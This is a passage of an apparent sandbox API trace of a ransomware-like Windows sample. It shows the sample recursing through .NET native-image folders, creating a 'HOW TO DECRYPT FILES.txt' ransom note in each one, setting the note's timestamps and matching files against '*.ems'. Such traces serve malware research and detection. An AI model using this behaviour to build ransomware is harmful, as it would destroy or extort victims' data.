lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30bd3e9e, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30bd3e9e, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb431ae9e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.076] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll") returned -1 [0108.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll") returned -1 [0108.076] lstrcmpiA (lpString1="", lpString2="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll") returned -1 [0108.076] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\*.*") returned="*.*" [0108.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\" [0108.076] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\") returned="" [0108.076] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\HOW TO DECRYPT FILES.txt" [0108.076] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\cd46037a39e95bc84d3694aa4d97e18c\\how to decrypt files.txt")) returned 0xffffffff [0108.076] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\cd46037a39e95bc84d3694aa4d97e18c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.083] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.083] CloseHandle (hObject=0x90) returned 1 [0108.083] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\", lpString2="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\Microsoft.GroupPolicy.AdmTmplEditor.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\Microsoft.GroupPolicy.AdmTmplEditor.ni.dll" [0108.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\Microsoft.GroupPolicy.AdmTmplEditor.ni.dll", pszSpec="*.ems") returned 0 [0108.083] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30bd3e9e, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30bd3e9e, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb431ae9e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.AdmTmplEditor.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.083] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.083] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a61e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="da42912f997fae780054f0c3a6b47fea", cAlternateFileName="DA4291~1")) returned 1 [0108.083] lstrcmpA (lpString1=".", lpString2="da42912f997fae780054f0c3a6b47fea") returned -1 [0108.083] lstrcmpA (lpString1="..", lpString2="da42912f997fae780054f0c3a6b47fea") returned -1 [0108.084] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\*.*") returned="*.*" [0108.084] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\", lpString2="da42912f997fae780054f0c3a6b47fea" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea" [0108.084] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a61e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.084] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.084] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a61e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.084] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.084] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.084] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30bf9ff9, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30bf9ff9, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb7517cfa, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4d2200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.Reporting.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.084] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.084] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.GroupPolicy.Reporting.ni.dll") returned -1 [0108.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.GroupPolicy.Reporting.ni.dll") returned -1 [0108.085] lstrcmpiA (lpString1="", lpString2="Microsoft.GroupPolicy.Reporting.ni.dll") returned -1 [0108.085] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\*.*") returned="*.*" [0108.085] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\" [0108.085] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\") returned="" [0108.085] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\HOW TO DECRYPT FILES.txt" [0108.085] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\da42912f997fae780054f0c3a6b47fea\\how to decrypt files.txt")) returned 0xffffffff [0108.085] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\da42912f997fae780054f0c3a6b47fea\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.099] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.099] CloseHandle (hObject=0x90) returned 1 [0108.099] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\", lpString2="Microsoft.GroupPolicy.Reporting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\Microsoft.GroupPolicy.Reporting.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\Microsoft.GroupPolicy.Reporting.ni.dll" [0108.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\Microsoft.GroupPolicy.Reporting.ni.dll", pszSpec="*.ems") returned 0 [0108.099] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30bf9ff9, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30bf9ff9, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb7517cfa, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4d2200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.Reporting.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.099] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.099] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a61e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="da42912f997fae780054f0c3a6b47fea", cAlternateFileName="DA4291~1")) returned 0 [0108.100] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.100] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Ink", cAlternateFileName="MICROS~1.INK")) returned 1 [0108.100] lstrcmpA (lpString1=".", lpString2="Microsoft.Ink") returned -1 [0108.100] lstrcmpA (lpString1="..", lpString2="Microsoft.Ink") returned -1 [0108.100] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.100] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Ink" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink" [0108.100] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.100] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.101] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.101] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.101] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.101] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3d4632e11d04d8db85c98485b1622bae", cAlternateFileName="3D4632~1")) returned 1 [0108.101] lstrcmpA (lpString1=".", lpString2="3d4632e11d04d8db85c98485b1622bae") returned -1 [0108.101] lstrcmpA (lpString1="..", lpString2="3d4632e11d04d8db85c98485b1622bae") returned -1 [0108.101] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\*.*") returned="*.*" [0108.101] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\", lpString2="3d4632e11d04d8db85c98485b1622bae" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae" [0108.101] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.104] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.104] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.104] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.104] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.104] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf1767b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeaf1767b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeaf6393c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x241a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.104] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.104] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Ink.ni.dll") returned -1 [0108.104] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Ink.ni.dll") returned -1 [0108.104] lstrcmpiA (lpString1="", lpString2="Microsoft.Ink.ni.dll") returned -1 [0108.104] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\*.*") returned="*.*" [0108.105] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\" [0108.105] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\") returned="" [0108.105] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\HOW TO DECRYPT FILES.txt" [0108.105] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.ink\\3d4632e11d04d8db85c98485b1622bae\\how to decrypt files.txt")) returned 0xffffffff [0108.106] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.ink\\3d4632e11d04d8db85c98485b1622bae\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.108] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.108] CloseHandle (hObject=0x90) returned 1 [0108.109] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\", lpString2="Microsoft.Ink.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\Microsoft.Ink.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\Microsoft.Ink.ni.dll" [0108.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\Microsoft.Ink.ni.dll", pszSpec="*.ems") returned 0 [0108.109] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf1767b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeaf1767b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeaf6393c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x241a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.109] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.109] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeafd5d5c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeafd5d5c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3d4632e11d04d8db85c98485b1622bae", cAlternateFileName="3D4632~1")) returned 0 [0108.109] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.109] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.JScript", cAlternateFileName="MICROS~1.JSC")) returned 1 [0108.109] lstrcmpA (lpString1=".", lpString2="Microsoft.JScript") returned -1 [0108.109] lstrcmpA (lpString1="..", lpString2="Microsoft.JScript") returned -1 [0108.110] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.110] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.JScript" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript" [0108.110] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2c51cea, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2c51cea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.110] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.110] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, 